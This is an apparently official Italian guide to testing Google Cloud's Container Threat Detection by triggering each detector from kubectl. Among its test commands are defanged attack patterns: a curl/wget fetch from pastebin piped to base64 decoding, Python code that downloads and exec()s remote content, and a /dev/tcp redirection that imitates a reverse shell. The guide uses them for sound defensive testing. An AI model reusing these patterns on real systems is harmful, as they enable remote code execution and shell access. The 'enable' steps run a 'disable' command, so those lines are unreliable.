Verifica di Container Threat Detection

Questa pagina spiega come verificare il funzionamento di Container Threat Detection attivando intenzionalmente i rilevatori e controllando la presenza di risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare i risultati di Container Threat Detection, questo servizio deve essere abilitato nelle impostazioni Servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster siano eseguiti su una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta l'articolo sull'utilizzo di una versione GKE supportata.

Attiva i rilevatori

I rilevatori Added Binary Executed e Added Library Loaded sono disabilitati per default. Per testare questi rilevatori, devi attivarli esplicitamente:

  1. Controlla lo stato del rilevatore:

    export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

  2. Attiva il rilevatore Added Binary Executed:

    gcloud alpha scc settings services modules disable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

  3. Attiva il rilevatore Added Library Loaded:

    gcloud alpha scc settings services modules disable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Imposta le variabili di ambiente

Per testare i rilevatori, utilizza la console Google Cloud e Cloud Shell. Puoi impostare le variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i detector di Container Threat Detection.

  1. Vai alla console Google Cloud .

    Vai alla console Google Cloud

  2. Seleziona il progetto che contiene il contenitore che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente.

    1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE

    2. Il progetto in cui si trova il contenitore:

      export PROJECT=PROJECT_ID

    3. Il nome del cluster:

      export CLUSTER_NAME=CLUSTER_NAME

Le variabili sono impostate. Le sezioni seguenti includono istruzioni per testare i rilevatori di minacce nei contenitori.

Programma binario aggiuntivo eseguito

Per attivare un rilevamento Programma binario aggiuntivo eseguito, inserisci un file binario nel contenitore e eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione ed esegue il file. L'esecuzione del file binario è inaspettata perché la copia del file binario non faceva parte dell'immagine del contenitore originale, anche se l'immagine è su Ubuntu 24.04 e i contenitori sono pensati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inserisci un file binario ed eseguilo:

    • Nodo x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

    • Nodo ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Questa procedura di test dovrebbe creare un risultato Esecuzione di codice binario aggiunto che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati relativi ai file binari eseguiti aggiunti. Per visualizzare tutti i risultati relativi all'esecuzione di codice aggiuntivo durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un rilevamento di libreria aggiuntiva caricata, inserisci una libreria nel contenitore e caricala. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia/lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi la carica utilizzandold. La libreria caricata non è prevista perché la copia della libreria non faceva parte dell'immagine del contenitore originale, anche se l'immagine è su Ubuntu 24.04 e i contenitori sono progettati per essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inserisci una libreria e utilizza ld per caricarla:

    • Nodo x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

    • Nodo ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Questa procedura di test dovrebbe creare un risultato Libreria caricata aggiunta che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati relativi alle librerie caricate aggiunte. Per visualizzare tutti i risultati relativi alla libreria caricata durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Esecuzione: programma binario dannoso aggiuntivo eseguito

Per attivare un rilevamento Esecuzione: programma binario aggiuntivo eseguito, inserisci un programma binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, crea un file dannoso simulato e poi lo esegue. L'esecuzione del file binario è inaspettata perché il file binario dannoso simulato non faceva parte dell'immagine del contenitore originale e il file binario è un file di test EICAR, un file classificato come dannoso dalle informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inserisci il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

    • Nodo ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Questa procedura di test dovrebbe creare un risultato Esecuzione: comando binario dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione degli indicatori in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Esecuzione: codice binario dannoso eseguito. Per visualizzare tutti i risultati di Esecuzione: è stato eseguito un codice binario dannoso aggiunto durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Esecuzione: evasione dal contenitore

Per attivare un rilevamento di Esecuzione: fuga dal contenitore, inserisci un file binario nel contenutore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (botb-linux-amd64) e lo esegue con argomenti aggiuntivi. Questa azione è considerata sospetta perché l'esecuzione simula un comportamento coerente con un tentativo di container escape.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Carica un file binario dello strumento di sfruttamento dei container come botb-linux-amd64 ed eseguilo:

    • Nodo x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

    • Nodo ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Questa procedura di test dovrebbe creare un risultato di tipo Esecuzione: fuga dal contenitore che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection potrebbe filtrare temporaneamente i risultati di Esecuzione: fuga dal contenitore. Per visualizzare tutti i risultati di Esecuzione: fuga dal contenitore durante la configurazione di un contenitore, anteponi il nome del contenitore o del pod con ktd-test, come nell'esempio.

Esecuzione: esecuzione dello strumento di attacco Kubernetes

Per attivare un rilevamento Esecuzione: esecuzione di uno strumento di attacco Kubernetes, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (amicontained) ed esegue il comando. Questa azione è considerata sospetta perché simula un comportamento coerente con un potenziale tentativo di esecuzione di uno strumento di attacco Kubernetes.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Carica un file binario dello strumento di attacco Kubernetes come amicontained ed eseguilo:

    • Nodo x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

    • Nodo ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione di uno strumento di attacco Kubernetes che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione degli indicatori in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection potrebbe filtrare temporaneamente i risultati di Esecuzione: esecuzione di strumenti di attacco Kubernetes. Per visualizzare tutti i risultati di Esecuzione: esecuzione di strumenti di attacco Kubernetes durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Esecuzione: esecuzione dello strumento di ricognizione locale

Per attivare un rilevamento Esecuzione: esecuzione di uno strumento di ricognizione locale, inserisci un file binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia /bin/ls in un'altra posizione, lo rinomina in uno strumento sospetto (linenum.sh) ed esegue il comando. Questa azione è considerata sospetta perché l'esecuzione del file binario rinominato simula un comportamento coerente con un tentativo di ricognizione locale.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inserisci un file binario dello strumento di ricognizione locale come linenum.sh ed eseguilo:

    • Nodo x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

    • Nodo ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Questa procedura di test dovrebbe creare un risultato Esecuzione: esecuzione di strumenti di ricognizione locale che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce ai container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, Container Threat Detection potrebbe filtrare temporaneamente i risultati di Esecuzione: esecuzione dello strumento di ricognizione locale. Per visualizzare tutti i risultati di Esecuzione: esecuzione dello strumento di ricognizione locale durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Execution: Malicious Python executed

Per attivare un rilevamento Execution: Malicious Python executed, puoi eseguire Python nella procedura seguente nel contenitore.

La procedura esegue il deployment dell'immagine Python più recente, copia il codice Python che sembra dannoso e poi lo esegue. Per attivare un rilevamento, il codice Python deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Esegui il seguente script in un nuovo contenitore.

    Questo codice Python proviene da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il programma binario dannoso. L'esecuzione dello script non causerà attività dannose nel contenitore. Il file binario all'URL a cui si fa riferimento non esiste e il tentativo di seguire l'URL genera un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script in linea attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Questa procedura di test crea un risultato Execution: Malicious Python executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: programma binario dannoso modificato eseguito

Per attivare un rilevamento Esecuzione: programma binario dannoso modificato eseguito, modifica un programma binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'immagine Ubuntu 24.04 più recente, modifica /bin/ls in un file dannoso di test EICAR e poi lo esegue. L'esecuzione del file binario è inaspettata perché il file /bin/ls creato viene modificato durante il runtime del contenitore come file binario EICAR di test dannoso e il file binario EICAR è un file dannoso noto secondo le informazioni sulla minaccia.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Inserisci il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

    • Nodo ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Questa procedura di test dovrebbe creare un risultato Esecuzione: codice binario dannoso modificato eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per ridurre il rumore, quando crei un contenitore per la prima volta, il Rilevamento delle minacce dei contenitori filtra temporaneamente i risultati di Esecuzione: codice binario dannoso modificato eseguito. Per visualizzare tutti i risultati di Esecuzione: codice binario dannoso modificato eseguito durante la configurazione di un contenitore, anteponi al nome del contenitore o del pod il prefisso ktd-test, come nell'esempio.

Script dannoso eseguito

Per attivare un rilevamento di script dannoso eseguito, puoi eseguire lo script nella procedura riportata di seguito nel contenitore.

La procedura esegue il deployment dell'immagine Ubuntu 24.04 più recente, copia uno script che sembra dannoso e poi lo esegue. Per attivare un rilevamento, un script deve apparire dannoso per il rilevatore.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Esegui questo script in un nuovo contenitore.

    Questo script shell Bourne in linea ha avuto origine da un honeypot. Tuttavia, è stato modificato in modo da non eseguire il codice binario dannoso, pertanto l'esecuzione dello script non causerà attività dannose nel contenitore. Il file binario all'URL a cui si fa riferimento potrebbe essere stato rimosso e il tentativo di seguire l'URL comporterà un errore 404. È previsto. Il tentativo di scaricare, decodificare ed eseguire un file binario utilizzando uno script in linea attiva il rilevamento.

    • Nodo x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

    • Nodo ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Questa procedura di test crea un risultato Script dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

URL dannoso rilevato

Per attivare un rilevamento di URL dannosi, esegui un file binario e fornisci un URL dannoso come argomento.

L'esempio seguente esegue il deployment di un'immagine Ubuntu 24.04 ed esegue /bin/curl per accedere a un URL di malware di esempio dal servizio Navigazione sicura.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Esegui curl e fornisci un URL dannoso come argomento:

    • Nodo x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

    • Nodo ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Questa procedura di test attiva un risultato URL dannoso rilevato che puoi visualizzare in Security Command Center e, se hai configurato il logging per Container Threat Detection, in Cloud Logging. La visualizzazione degli indicatori in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell inversa

Per attivare un rilevamento di shell inversa, avvia un file binario con il reindirizzamento stdin a una socket connessa TCP. Questo esempio copia /bin/echo in /tmp/sh, quindi avvia /tmp/sh con il reindirizzamento a Google Public DNS 8.8.8.8 sulla porta DNS. Quando esegui questo esempio, non viene stampato nulla. Per evitare qualsiasi attacco di man in the middle (MITM) con attacco di codice esterno, in questo esempio non viene utilizzato il file binario /bin/sh.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Avvia un file binario con il reindirizzamento /bin/echo al DNS pubblico di Google:

    • Nodo x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

    • Nodo ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Questa procedura di test crea un risultato di Reverse Shell che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato il logging per il rilevamento delle minacce nei container. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Shell secondario imprevisto

Per testare il rilevatore Unexpected Child Shell, puoi creare un albero di processi che includa un processo shell secondario.

L'esempio seguente crea un albero di processi consul->dash, che può essere rilevato dal rilevatore Unexpected Child Shell. Questo test è sicuro perché utilizza solo file binari integrati. Questo esempio esegue le seguenti operazioni:

  1. Crea una copia del processo sh e la denomina consul.
  2. Copia il processo echo e lo rinomina dash.
  3. Richiama il processo dash copiato nel processo consul copiato.

Per attivare un rilevamento Unexpected Child Shell:

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al piano di controllo del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Utilizza il processo simulato consul per richiamare una shell simulata:

    • Nodo x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

    • Nodo ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Questa procedura di test crea un risultato Unexpected Child Shell che puoi visualizzare in Security Command Center. Se la registrazione è configurata per Container Threat Detection e hai attivato Security Command Center Premium o Enterprise a livello di organizzazione, puoi visualizzare il risultato anche in Cloud Logging.

Passaggi successivi